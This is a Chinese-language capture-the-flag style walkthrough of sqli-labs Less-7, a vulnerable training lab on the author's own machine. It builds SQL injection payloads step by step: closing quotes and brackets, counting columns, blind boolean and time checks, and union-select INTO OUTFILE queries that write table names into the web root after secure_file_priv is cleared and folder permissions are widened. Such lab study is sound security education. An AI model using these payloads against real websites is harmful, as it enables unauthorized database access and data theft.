项目 | 描述 |
---|---|
操作系统 | Windows 10 专业版 |
MySQL 版本 | MySQL 5.7.40 |
Apache 版本 | Apache 2.2.39 |
MySQL 在遇到需要数值时你却提供给它字符串的情景下,会自动将字符串转换为数值。
转换方式如下:
‘a’ 转换为 0
‘1a’ 转换为 1
‘2b3’ 转换为 2
?id=1
返回结果为:
You are in… Use outfile…
再次进行尝试:
?id=10
返回结果为:
You are in… Use outfile…
在两次进行正常输入后,返回结果仍为变化。
我们知道,在 sqli-labs 靶场中,参数 id 的合理值为 1~15。
所以我们来尝试将参数 id 的值设置为 15:
?id=15
返回结果为:
You have an error in your SQL syntax
该返回结果告知我们 SQL 存在语法错误。
可是这种查询并没有破坏查询语句的结构,何来 SQL 语法错误,SQL 查询语句查询不到对应的值,应该返回的是一个空集。
使用如下语句,无论是字符型注入还是数字型错误都将引发 SQL 错误(无论是哪一种情况,该语句都能破坏 SQL 查询语句的正常结构)。
?id=--+
返回结果为:
You have an error in your SQL syntax
由上述三种输入方式的测试结果,我们观察到如下现象:
于是,我们做出推测:
该页面的 PHP 代码存在这么一个判断语句,在 SQL 查询结果不为空集时,返回结果为 You are in… Use outfile… ;反之返回 You have an error in your SQL syntax。
?id='--+
返回结果为:
You have an error in your SQL syntax
?id="--+
返回结果为:
You have an error in your SQL syntax
?id=--+
返回结果为:
You have an error in your SQL syntax
怎么会这样?
等等,我们刚刚得出的结论好像被忽略了:
该页面的 PHP 代码存在这么一个判断语句,在 SQL 查询结果不为空集时,返回结果为 You are in… Use outfile… ;反之返回 You have an error in your SQL syntax。
既然返回结果为空都将返回 You have an error in your SQL syntax,那我们刚刚构造的判断语句又怎么能够判断出注入类型呢?
?id=1'--+
返回结果:
You have an error in your SQL syntax
?id=1"--+
返回结果:
You are in… Use outfile…
由于字符型注入的返回结果发生了变化,我们可以推断注入类型不为数值型注入(在该类场景下判断是否为数字型注入需要通过字符型注入结果进行反推),而应为单引号字符型注入(由结果可以发现,双引号注入属于正常输入,而单引号注入属于错误输入)。
注:
在不清楚这个问题的答案前,如果你继续执行后续的步骤,你会发现这似乎是一个无解的题目。
让我们来做两个实验:
?id=1' and 1=2--+
返回结果:
You have an error in your SQL syntax
由于 1 永远不可能等于 2,所以该逻辑表达式将返回 false。接下来,我们观察另一组实验:
?id=1' and 1=1--+
由于 1 永远等于 1,逻辑与运算符两边的结果均为 true,所以该表达式将返回 true。因此返回结果应该为 You are in… Use outfile…,但返回结果却为
You have an error in your SQL syntax
这说明我们并没有正确闭合特殊符号,除了闭合引号外,SQL 注入中,我们往往还需要关注另一类符号,比如括号。于是我们构造如下语句:
?id=1') and 1=1--+
返回结果仍旧为:
You have an error in your SQL syntax
也许外层还存在一个括号需要闭合,我们再尝试去闭合括号:
?id=1')) and 1=1--+
返回结果为:
You are in… Use outfile…
至此,我们已正确闭合在 SQL 注入中需要闭合的符号。
?id=')) order by 2--+
返回结果:
You are in… Use outfile…
?id=1')) order by 3--+
返回结果:
You are in… Use outfile…
?id=1')) order by 4--+
返回结果为:
You have an error in your SQL syntax
这说明 SQL 查询返回结果的列数为三列。
由于在这一关中,错误输入不会显示错误,所以我们无法通过报错注入来爆破相关数据。
布尔盲注需要通过 PHP 页面中显示的是 You are in… Use outfile… 还是 You have an error in your SQL syntax 来判断猜测是否正确。我们知道在 sqli-labs 中默认使用的数据库为 security,即 database() 函数的返回值为 security 。
于是,我们可以尝试构造如下表达式判断 database() 函数的返回值是否为 s:
?id=1')) and 's' = (select substr(database(), 1, 1))--+
返回结果:
You are in… Use outfile…
来试着判断 database() 函数的返回值中的第一个字符是否为 ‘a’。
?id=1')) and 'a' = (select substr(database(), 1, 1))--+
返回结果:
You have an error in your SQL syntax
布尔注入的思路大概就是这样,可以通过编写一个程序通过该种方式来获取数据库名、表名及列名等信息。
注:
在该关下使用布尔注入时,不要采用联合注入的方式,否则即使构造语句如下返回的也是 You are in… Use outfile…,因为该关卡是通过判断 SQL 查询是否返回了内容来展示不同的内容的,即使返回的是一个空表。
?id=')) union select if(substr(database(), 1, 1)='a', 1, ''),'',''--+
时间盲注是通过页面回显的时间(可以通过 sleep() 函数来控制页面的回显时间)来判断的。要使用时间盲注我们可以构造如下语句:
?id=')) union select if(substr(database(), 1, 1)='a', sleep(10), ''),'',''--+
上述时间盲注语句将在判断结果为 true 时等待 10 秒(为了不耗费太多时间可以将 sleep 函数的参数适当减小),在判断结果为 false 时返回一个空字符串。
至于如何去判断是否回显,可以通过观察浏览器中的进度条来进行判断。
在 SQL 注入过程中,我们可以通过关键字 into dumpfile、into outfile 等关键字来向网站导出数据到指定文件中,然后通过构造 URL 来对该文本文件进行访问。
使用上述函数来实现导入导出功能仅能在参数 secure_file_priv 指定的文件夹下中成功操作。
布尔盲注及时间盲注将在后续关卡(第八关及第九关)中进行详细讲解。
由于 数据导出 这种方式比较特殊,本关卡主要使用 数据导出 的方式来对数据库进行爆破。
在 MySQL 中,我们可以通过输入如下命令来查找 secure_file_priv 参数对应的值为多少:
show variables like 'secure%';
# 或
show global variables like 'secure%';
# 或
select @@secure_file_priv;
使用该命令后,我们得到的结果如下:
由于我使用的 MySQL 版本为 5.7.40 因此该参数的值为 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\,你通过该命令获取到的参数值或许与我的结果并不相同。
在 MySQL 中,可以使用 SELECTI…INTO OUTFILE 语句将表的内容导出成一个文本文件。SELECT…INTO OUTFILE 语句基本格式如下:
SELECT 列名 FROM table [WHERE 语句] INTO OUTFILE '目标文件'[OPTIONS]
该语句用 SELECT 来查询所需要的数据,用 INTO OUTFILE 来导出数据。其中,目标文件用来指定将查询的结果导出到哪个文件。这里需要注意的是,目标文件不能是一个已经存在的文件。
[OPTIONS] 为可选参数选项,OPTIONS 部分的语法包括 FIELDS 和 LINES 子句,其常用的取值有:
注:
FIELDS 和 LINES 两个子句都是自选的,但是如果两个都被指定了,FIELDS 必须位于 LINES的前面。
上述内容整理自 网络
这里我们选择导出 users 这张表中的内容,首先让我们看看 users 表中的具体内容。
使用如下命令将 users 表中的内容导出到路径 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ 中:
select * from users into outfile 'C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\';
在 MySQL 中输入路径需要多加一个 \ 用来将 \ 转义。
所以我们更改语句为:
select * from users into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\';
记住,指定的路径不能为已存在的文件(夹),否则你将看到如下信息。
让我们再次进行修改:
select * from users into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return.txt';
可以看到 users 表已成功导出(奇怪的是 id 为 13 的哪一行记录不见了,还是说一直都不存在)。
我们可以通过将查询结果导出到指定路径,但是,导出的路径 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\ 的位置似乎离网站根目录较远,我们不可能通过使用 …/ 来返回上一级来访问导出文件,这就要求我们稍后需要修改 secure_file_priv 参数对应的值来制造该方法爆破数据库的可能性(将数据导出到网站根目录下的指定文件中)。
让我们尝试使用关键字 into dumpfile 来导出表中内容,我们同样选择的是 users 表中的内容。
select * from users into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_1.txt';
在执行该语句后,MySQL 返回了报错信息,表明仅支持导入一行记录。
于是我们修改 SQL 语句:
select * from users where id=1 into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_1.txt';
由报错信息可以猜测,在尝试使用 into dumpfile 导出多行记录时,虽然 MySQL 会产生报错信息,但仍将第一行记录导出到指定文件夹中了。
我们可以打开 return_1.txt 文件来验证这个猜想。
好吧,假设出错。
正确结论应该为:
在尝试使用关键字 into dumpfile 导出多行记录时,虽为产生报错信息,但会成功将前两行记录导出到指定文件中。
构造 SQL 语句如下:
select * from users where id=1 into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_2.txt';
在使用关键字 into dumpfile 尝试将一行记录导出到指定文件中时,MySQL 并不会提示报错信息,让我们观察观察文件 return_2.txt :
前三点区别我们在前面(本篇文章)已经见到过了,第四点我们可以通过下面的例子来直观的感受下。
首先,构造 SQL 语句如下:
select 'a\nab\nabc' into outfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_3.txt';
导出数据在 return_3.txt 文件中的显示结果为:
select 'a\nab\nabc' into dumpfile 'C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_4.txt';
导出数据在 return_4.txt 文件中的显示结果为:
使用 load_file() 函数可读取指定文件中的内容。可以通过构造 SQL 语句来获取我们刚刚导出的文件 return_4.txt 中的内容。
select load_file('C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\return_4.txt');
可以看到 load_file() 函数正确读取了指定文件中的内容。
无论是使用关键字 into dumpfile、into outfile 还是函数 load_file() 来对文件执行某些操作,都必须在 secure_file_priv 参数指定的路径之下进行。
由于参数 secure_file_priv 不能被动态修改,所以我们只能在 MySQL 的配置文件中手动修改,修改完成后需要重启 MySQL 服务以使修改能够生效。
在操作系统为 Windows,MySQL 版本为 5.7.40 时,MySQL 的默认配置文件为 my.ini,默认存放路径为 C:\ProgramData\MySQL\MySQL Server 5.7。
注:
对于不同的操作系统 MySQL 的默认配置文件的名称及存放位置可能会存在不同,即使是同一操作系统下的不同 MySQL 版本,其默认配置文件也可能存在不同。
在打开该配置文件后,将
secure-file-priv="C:/ProgramData/MySQL/MySQL Server 5.7/Uploads"
修改为:
secure-file-priv=
重启服务(是重启 MySQL 服务而不是重新登录 MySQL)后,使用如下命令来判断 secure_file_priv 的参数值是否被更改。
尝试使用如下 SQL 语句将数据导出到网站根目录:
select * from users into outfile 'C:\\Users\\36683\\TwoMoons\\WWW\\result.txt';
MySQL 抛出错误
ERROR 1 (HY000): Can’t create/write to file ‘C:\Users\36683\TwoMoons\WWW\result.txt’ (Errcode: 13 - Permission denied)
意在提醒我们对该路径没有读写权限。
在遇到读写权限问题后,尝试向搜索引擎寻求帮助,但解决方案大多针对 Linux 操作系统且并不详细,只好自己摸索了。
在解决问题之前,先让我们总结一下遇到了哪些问题:
对于如何在 Windows 操作系统更改文件(夹)权限,我们可以通过搜索引擎寻求帮助。但是这第二个问题只能靠自己摸索了。
不知道各位是否清楚这么一个事实:
MySQL 目录下的 Uploads 文件夹默认就拥有读写权限。
那么文件权限的更改是否可以依葫芦画瓢摸索出来呢,让我们拭目以待。
首先找到 Uploads 文件夹,右键该文件夹后点击 属性。
点击 安全。
在找到网站根目录(或是其它你想要导出或读取的路径),以同样的方式进入 安全 页面。
可以发现两个文件夹在权限的分配下确实有不同。
经查验,在 Uploads 文件夹中存在如下 组和用户名 是 Uploads 文件夹独有的:
经检查,在 Uploads 文件夹中存在如下 组和用户名 是拥有读写权限且为 Uploads 文件夹独有的:
于是我们排除了影响因素是 NETWORK SERVICE 的可能。
我们将 CREATOR OWNER 及 USERS (TWO-MOONS\Users) 完整复制到网站根目录(或是其它你想要导出或读取的路径)中。
点击 添加。
更改权限使其与文件夹 Uploads 中的用户或组 CREATOR OWNER 的权限类似 (重点是要勾选读取与执行权限)。
注:
在添加 用户或组 时,对象名称应该为 Users 而不是 USERS (TWO-MOONS\Users) 括号中的内容因计算机的不同会存在差异,只需填入 Users 即可,括号中的内容系统会自动为你添加。
将文件夹 WWW 的 Users 权限修改为如下。
与文件夹 Uploads 中的 Users 权限不同的是:
在添加 组或用户 及 成功修改权限 后,点击 应用 以使修改生效。
再次执行如下 SQL 语句:
select * from users into outfile 'C:\\Users\\36683\\TwoMoons\\WWW\\users.txt';
可以看到,我们成功使用 MySQL 导出数据到 WWW 文件夹中。
Users是Windows中预设的一个用户组,目的是:防止用户进行有意或无意的系统范围的更改,但是可以运行大部分应用程序。这个用户组包含了所有可登录的用户(Windows Vista开始,管理员用户和高级用户都也是默认被包含此组内)。这个组的权限是受限的,但要大于Guests组。
上述内容引用自 百度百科
查阅资料后发现,Users 为 Windows 操作系统下的普通用户组,在对这个组添加 读写权限 后,MySQL 便可以在该文件夹中读取或写入文件。
?id=')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile '.\\target.txt'--+
这里我们使用相对路径注入到当前文件夹下,但你以为当前文件夹是该网站当前页面位于的文件夹吗?
你错了。在 Windows 操作系统的 MySQL 5.7.40 下,路径 .\\ 实际指向的文件夹是
C:\ProgramData\MySQL\MySQL Server 5.7\Data。
在使用上述构造的语句后,你并不会在 C:\Users\36683\TwoMoons\WWW\range\sqli-labs\Less-7 文件夹中看到 target.txt 文件,但你可以在
C:\ProgramData\MySQL\MySQL Server 5.7\Data 观察到该文件。
让我们构造一个语句让爆破 security 数据库中的表名并将其导出到网站根目录 WWW 下。
?id=')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile 'C:\\Users\\36683\\TwoMoons\\WWW\\target.txt'--+
可以看到我们已正常爆破 security 数据库中的表名并将其导出到网站根目录 WWW 下。
通过该种方式还可以爆破出其他信息,请继续探索吧。